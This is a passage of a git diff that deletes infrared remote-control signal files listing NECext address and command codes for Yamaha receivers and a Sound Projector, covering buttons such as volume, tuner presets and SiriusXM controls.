-protocol: NECext -address: 7F 01 00 00 -command: C7 00 00 00 -# -name: Z4_SOURCE:_OP_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C7 00 00 00 -# -name: Z4_SOURCE:_OP_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C7 00 00 00 -# -name: DOCK:_Z4_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C8 00 00 00 -# -name: NETUSB:_Z4_PLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C8 00 00 00 -# -name: Z4_SOURCE:_OP_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C8 00 00 00 -# -name: Z4_SOURCE:_OP_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C8 00 00 00 -# -name: DOCK:_Z4_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C9 00 00 00 -# -name: NETUSB:_Z4_STOP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C9 00 00 00 -# -name: Z4_SOURCE:_OP_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C9 00 00 00 -# -name: Z4_SOURCE:_OP_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: C9 00 00 00 -# -name: DOCK:_Z4_REW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CA 00 00 00 -# -name: NETUSB:_Z4_NRADIO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CA 00 00 00 -# -name: Z4_SOURCE:_OP_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CA 00 00 00 -# -name: Z4_SOURCE:_OP_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CA 00 00 00 -# -name: DOCK:_Z4_FF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CB 00 00 00 -# -name: NETUSB:_Z4_USB -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CB 00 00 00 -# -name: Z4_SOURCE:_OP_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CB 00 00 00 -# -name: Z4_SOURCE:_OP_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CB 00 00 00 -# -name: DOCK:_Z4_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CC 00 00 00 -# -name: HDRADIO:_Z4_PROG_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CC 00 00 00 -# -name: NETUSB:_Z4_SKIP_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CC 00 00 00 -# -name: Z4_SOURCE:_OP_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CC 00 00 00 -# -name: Z4_SOURCE:_OP_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CC 00 00 00 -# -name: DOCK:_Z4_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CD 00 00 00 -# -name: HDRADIO:_Z4_PROG+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CD 00 00 00 -# -name: NETUSB:_Z4_SKIP_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CD 00 00 00 -# -name: Z4_SOURCE:_OP_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CD 00 00 00 -# -name: Z4_SOURCE:_OP_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CD 00 00 00 -# -name: Z4_SOURCE:_OP_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CE 00 00 00 -# -name: Z4_SOURCE:_OP_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: CE 00 00 00 -# -name: SIRIUS_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D0 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D1 00 00 00 -# -name: SIRIUS_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D1 00 00 00 -# -name: SIRIUS:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D1 00 00 00 -# -name: SIRIUS_NUM_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D1 00 00 00 -# -name: SIRIUS:_1 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D1 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D2 00 00 00 -# -name: SIRIUS_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D2 00 00 00 -# -name: SIRIUS:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D2 00 00 00 -# -name: SIRIUS_NUM_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D2 00 00 00 -# -name: SIRIUS:_2 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D2 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D3 00 00 00 -# -name: SIRIUS_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D3 00 00 00 -# -name: SIRIUS:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D3 00 00 00 -# -name: SIRIUS_NUM_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D3 00 00 00 -# -name: SIRIUS:_3 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D3 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D4 00 00 00 -# -name: SIRIUS_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D4 00 00 00 -# -name: SIRIUS:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D4 00 00 00 -# -name: SIRIUS_NUM_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D4 00 00 00 -# -name: SIRIUS:_4 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D5 00 00 00 -# -name: SIRIUS_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D5 00 00 00 -# -name: SIRIUS:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D5 00 00 00 -# -name: SIRIUS_NUM_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D5 00 00 00 -# -name: SIRIUS:_5 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D5 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D6 00 00 00 -# -name: SIRIUS_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D6 00 00 00 -# -name: SIRIUS:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D6 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D6 00 00 00 -# -name: SIRIUS_NUM_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D6 00 00 00 -# -name: SIRIUS:_6 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D6 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D7 00 00 00 -# -name: SIRIUS_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D7 00 00 00 -# -name: SIRIUS:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D7 00 00 00 -# -name: SIRIUS_NUM_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D7 00 00 00 -# -name: SIRIUS:_7 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D7 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D8 00 00 00 -# -name: SIRIUS_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D8 00 00 00 -# -name: SIRIUS:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D8 00 00 00 -# -name: SIRIUS_NUM_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D8 00 00 00 -# -name: SIRIUS:_8 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D8 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D9 00 00 00 -# -name: SIRIUS_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D9 00 00 00 -# -name: SIRIUS:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D9 00 00 00 -# -name: SIRIUS_NUM_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D9 00 00 00 -# -name: SIRIUS:_9 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: D9 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DA 00 00 00 -# -name: SIRIUS:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DA 00 00 00 -# -name: SIRIUS_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DA 00 00 00 -# -name: SIRIUS_NUM_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DA 00 00 00 -# -name: SIRIUS:_0 -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DA 00 00 00 -# -name: ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DC 00 00 00 -# -name: SIRIUS_ENT_NO_INPUT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DC 00 00 00 -# -name: SIRIUS:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DC 00 00 00 -# -name: SIRIUS_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DC 00 00 00 -# -name: SIRIUS_NUM_ENT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DC 00 00 00 -# -name: SIRIUS_SEARCH_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DE 00 00 00 -# -name: SIRIUS:SEARCH_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DE 00 00 00 -# -name: SIRIUS_SRCH_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DE 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DF 00 00 00 -# -name: SIRIUS_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DF 00 00 00 -# -name: SIRIUS:_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DF 00 00 00 -# -name: SIRIUS:_MEMORY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: DF 00 00 00 -# -name: SIRIUS_DISPLAY -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E0 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E0 00 00 00 -# -name: NAV_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E1 00 00 00 -# -name: SIRIUS_PRESET_CH_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E1 00 00 00 -# -name: SIRIUS:CH/PRESET_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E1 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E1 00 00 00 -# -name: SIRIUS_CURSOR_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E1 00 00 00 -# -name: SIRIUS_CH/PR_NO_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E1 00 00 00 -# -name: SIRIUS:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E1 00 00 00 -# -name: SIRIUS:_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E1 00 00 00 -# -name: NAV_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E2 00 00 00 -# -name: SIRIUS_CATEGORY_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E2 00 00 00 -# -name: SIRIU:CAT/PST_GRP_DN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E2 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E2 00 00 00 -# -name: SIRIUS_CURSOR_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E2 00 00 00 -# -name: SIRIUS_CAT/PR_GRP_DN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E2 00 00 00 -# -name: SIRIUS:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E2 00 00 00 -# -name: SIRIUS:_LEFT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E2 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E3 00 00 00 -# -name: SIRIUS_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E3 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E3 00 00 00 -# -name: SIRIUS_SETUP:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E3 00 00 00 -# -name: SIRIUS_SETUP:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E3 00 00 00 -# -name: SIRIUS:_ENTER -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E3 00 00 00 -# -name: NAV_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E4 00 00 00 -# -name: SIRIUS_CATEGORY_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E4 00 00 00 -# -name: SIRIU:CAT/PST_GRP_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E4 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E4 00 00 00 -# -name: SIRIUS_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E4 00 00 00 -# -name: SIRIUS_CAT/PR_GRP_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E4 00 00 00 -# -name: SIRIUS:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E4 00 00 00 -# -name: SIRIUS:_RIGHT -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E4 00 00 00 -# -name: NAV_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E5 00 00 00 -# -name: SIRIUS_PRESET_CH_DW -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E5 00 00 00 -# -name: SIRIUS:CH/PRESET_DWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E5 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E5 00 00 00 -# -name: SIRIUS_CURSOR_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E5 00 00 00 -# -name: SIRIUS_CH/PR_NO_DN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E5 00 00 00 -# -name: SIRIUS:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E5 00 00 00 -# -name: SIRIUS:_DOWN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: E5 00 00 00 -# -name: SIRIUS_INFO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: EA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: EA 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F0 00 00 00 -# -name: HDRADIO:_PRESET_A -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F0 00 00 00 -# -name: HD_RADIO:_A -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F0 00 00 00 -# -name: HD_RADIO:_A -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F0 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F1 00 00 00 -# -name: HDRADIO:_PRESET_B -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F1 00 00 00 -# -name: HD_RADIO:_B -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F1 00 00 00 -# -name: HD_RADIO:_B -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F1 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F2 00 00 00 -# -name: HDRADIO:_PRESET_C -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F2 00 00 00 -# -name: HD_RADIO:_C -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F2 00 00 00 -# -name: HD_RADIO:_C -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F2 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F3 00 00 00 -# -name: HDRADIO:_PRESET_D -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F3 00 00 00 -# -name: HD_RADIO:_D -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F3 00 00 00 -# -name: HD_RADIO:_D -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F3 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F4 00 00 00 -# -name: HDRADIO:_PRESET_E -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F4 00 00 00 -# -name: HD_RADIO:_E -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F4 00 00 00 -# -name: HD_RADIO:_E -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F4 00 00 00 -# -name: INP_AM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F5 00 00 00 -# -name: HDRADIO:_AM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F5 00 00 00 -# -name: INP_FM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F6 00 00 00 -# -name: HDRADIO:_FM -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F6 00 00 00 -# -name: AUTO_TUNE_- -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F7 00 00 00 -# -name: HDRADIO:_AUTO_DN -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F7 00 00 00 -# -name: AUTO_TUNE_+ -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F8 00 00 00 -# -name: HDRADIO:_AUTO_UP -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: F8 00 00 00 -# -name: DISPLAY_ON -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FB 00 00 00 -# -name: DISPLAY_OFF -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FC 00 00 00 -# -name: SRCH_MODE_PRESET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FD 00 00 00 -# -name: TUNER:_SEARCH_PRESET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FD 00 00 00 -# -name: TUNER_MODE_PRESET -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FD 00 00 00 -# -name: TUNER_SRCH_MODE_PRES -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FD 00 00 00 -# -name: TUNER:_PRES_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FD 00 00 00 -# -name: SRCH_MODE_TUNING -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FE 00 00 00 -# -name: TUNER:_SEARCH_MANUAL -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FE 00 00 00 -# -name: TUNER_MODE_MANUAL -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FE 00 00 00 -# -name: TUNER_SRCH_MODE_MANU -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FE 00 00 00 -# -name: TUNER:_MANL_MODE -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FE 00 00 00 -# -name: TUNER:_SEARCH_AUTO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FF 00 00 00 -# -name: TUNER_MODE_AUTO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FF 00 00 00 -# -name: TUNER_SRCH_MODE_AUTO -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir deleted file mode 100644 index 5bde1f898..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir deleted file mode 100644 index 2484d174c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 11 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 12 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 13 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir deleted file mode 100644 index a4f5487ce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 78 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir deleted file mode 100644 index 4663a69f8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 6C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 6D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir deleted file mode 100644 index 87ddfa4f4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir deleted file mode 100644 index 22a1d5c79..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir +++ /dev/null @@ -1,1514 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 0F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 10 00 00 00 -# -name: FM/XM:_0 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 11 00 00 00 -# -name: FM/XM:_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 12 00 00 00 -# -name: FM/XM:_2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 13 00 00 00 -# -name: FM/XM:_3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 14 00 00 00 -# -name: FM/XM:_4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 15 00 00 00 -# -name: FM/XM:_5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 16 00 00 00 -# -name: FM/XM:_6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 17 00 00 00 -# -name: FM/XM:_7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 18 00 00 00 -# -name: FM/XM:_8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 19 00 00 00 -# -name: FM/XM:_9 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 19 00 00 00 -# -name: FM_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: SUR_UPP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: FM/XM:_PRESET_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1B 00 00 00 -# -name: FM_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: SUR_NER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext 